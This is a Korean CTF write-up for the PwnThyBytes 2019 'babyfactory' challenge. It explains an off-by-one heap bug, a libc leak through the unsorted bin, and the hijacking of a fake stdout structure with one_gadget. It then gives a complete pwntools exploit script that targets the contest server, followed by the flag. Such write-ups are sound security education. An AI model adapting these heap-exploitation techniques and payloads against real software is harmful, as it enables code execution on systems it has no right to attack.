일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | ||||||
2 | 3 | 4 | 5 | 6 | 7 | 8 |
9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 | 17 | 18 | 19 | 20 | 21 | 22 |
23 | 24 | 25 | 26 | 27 | 28 |
- 포맷스트링버그
- RTL
- 완전 탐색
- syscall
- 투 포인터
- 스택
- tcache
- ROP
- 연결리스트
- 문자열 처리
- House of Orange
- DFS
- 수학
- fsb
- off by one
- 큐
- OOB
- 동적 계획법
- 에라토스테네스의 체
- 이분 탐색
- 브루트 포스
- BFS
- 스위핑 알고리즘
- 이진트리
- 다이나믹 프로그래밍
- heap
- 이진 탐색
- BOF
- 분할 정복
- 백트래킹
- Today
- Total
SDJ( 수돈재 아님 ㅎ )
PwnThybytes 2019 - babyfactory 본문
이번엔 PwnThybytes CTF의 babyfactory를 풀어보려고 한다.
64bit에 모든 보호기법들이 걸려있다.
사용할 수 있는 메뉴들은 다음과 같이 5가지 정도 있다.
하나씩 분석해보자.
1. create
먼저 create다.
여기서 두가지 경우를 선택할 수 있는데 하나는 Boy, 다른 하나는 Girl이다.
함수 sub_C3B의 인자를 다르게 주는 것을 볼 수 있는데 함수를 분석해보자.
1-1) sub_C3B
함수의 일부다.
인자로 넘어온 값에 따라 두가지 경우가 생긴다.
a1의 값이 참일 경우에는 malloc(0x69)를 하고 read(0, *v3, 0x69)를 한다.
참이 아닐 경우에는 malloc(0x68)을 하고 read(0, *v3, 0x68)을 한다.
여기서 취약점이 하나 존재하는데 바로
malloc(0x68)을 하고나서 read(0, *v3, 0x68)을 하는 과정에서 발생한다.
0x68의 chunk size는 0x71이 되고, 다음 청크의 prev_size 영역을 사용하는데
이 때 read(0, *v3, 0x68)을 하는 과정에서 off by one이 발생하게 된다.
sub_C3B의 나머지 부분이다.
++unk_202024를 통해서 할당한 횟수를 저장하는데 6번 이하까지 가능하므로 총 7번 할당이 가능하다.
2. Edit
edit에서는 간단하게
*(v2+10)을 비교하여 girl 과 boy를 구별한다.
girl -> 0x69 입력
boy -> 0x68 입력 ( off by one!! )
이 두가지를 이용해서 leak과 동시에 exploit을 할 수 있다.
익스플로잇 과정
1byte을 조작하는 취약점으로 청크의 크기를 unsorted bin으로 바꾸어 libc의 값을 leak해 주고
stdout의 주소로 뛰어 조작해주면 익스가 된다.
exploit code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
|
from pwn import *
#p = process('./baby_factory [ 2578fd3563ff647c924a670095f255ab ]')
p = remote('137.117.216.128', 13373)
def choice(idx):
p.sendlineafter("> ", str(idx))
def alloc(gender, name, day):
choice(1)
p.sendlineafter("> ", str(gender))
p.sendafter(": ", str(name))
p.sendlineafter(": ", str(day))
def edit(idx, name):
choice(2)
p.sendlineafter(": ", str(idx))
p.sendlineafter(": ", str(name))
def show():
choice(3)
def delete(idx):
choice(4)
p.sendlineafter(": ", str(idx))
one = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
alloc(1, "a"*0x8, 0x11111111) # 0
alloc(1, "b"*0x8, 0x11111111) # 1
alloc(1, "c"*0x8, 0x11111111) # 2
edit(0, "a"*0x8 +p64(0)+ p64(0)*2*5 + p64(0) + '\xb1')
delete(1)
delete(2)
alloc(2, "b"*8, 0x11111111) # 3
show()
p.recvuntil("bbbbbbbb")
main_arena_88 = u64(p.recv(6).ljust(8,'\x00'))
libc_base = main_arena_88 - 3951480 - 0xa0
malloc_hook = libc_base + 3951376
stdout_jump = libc_base + 3954416
fake_prev_size = libc_base + 3954365
print "main_arena_88 : " + hex(main_arena_88)
print "libc_base : " + hex(libc_base)
print "malloc_hook : " + hex(malloc_hook)
print "stdout_jump : " + hex(stdout_jump)
one_gadget = libc_base + one[1]
print "one_gadget : " + hex(one_gadget)
edit(1, p64(0)*3+p64(0x71)+p64(fake_prev_size))
alloc(1, 'a'*8, 0x11111111)
alloc(1, 'b'*8, 0x11111111)
# set fake stdout structure
pay = ''
pay += '\x00'*3
pay += p64(0) * 2
pay += p64(0x00000000ffffffff)
pay += p64(0) * 2
pay += p64(stdout_jump)
pay += p64(libc_base+3853984) + p64(libc_base+3954208)
pay += p64(libc_base+3950816) + p64(one_gadget)
pay += p64(one_gadget) + p64(one_gadget)
pay += p64(one_gadget)
choice(1)
p.sendlineafter("> ", '1')
p.sendafter(": ", pay)
p.interactive()
|
flag : PTBCTF{d516da8f4726509484aa98eabd8e095f}
'write-up > pwnable' 카테고리의 다른 글
HSCTF 2019 - aria writer v3 (0) | 2019.10.08 |
---|---|
HSCTF 2019 - Aria writer (0) | 2019.10.08 |
NACTF 2019 - Loopy #1 (0) | 2019.09.23 |
NACTF 2019 - Loopy #0 (0) | 2019.09.23 |
NACTF 2019 - Format #1 (0) | 2019.09.23 |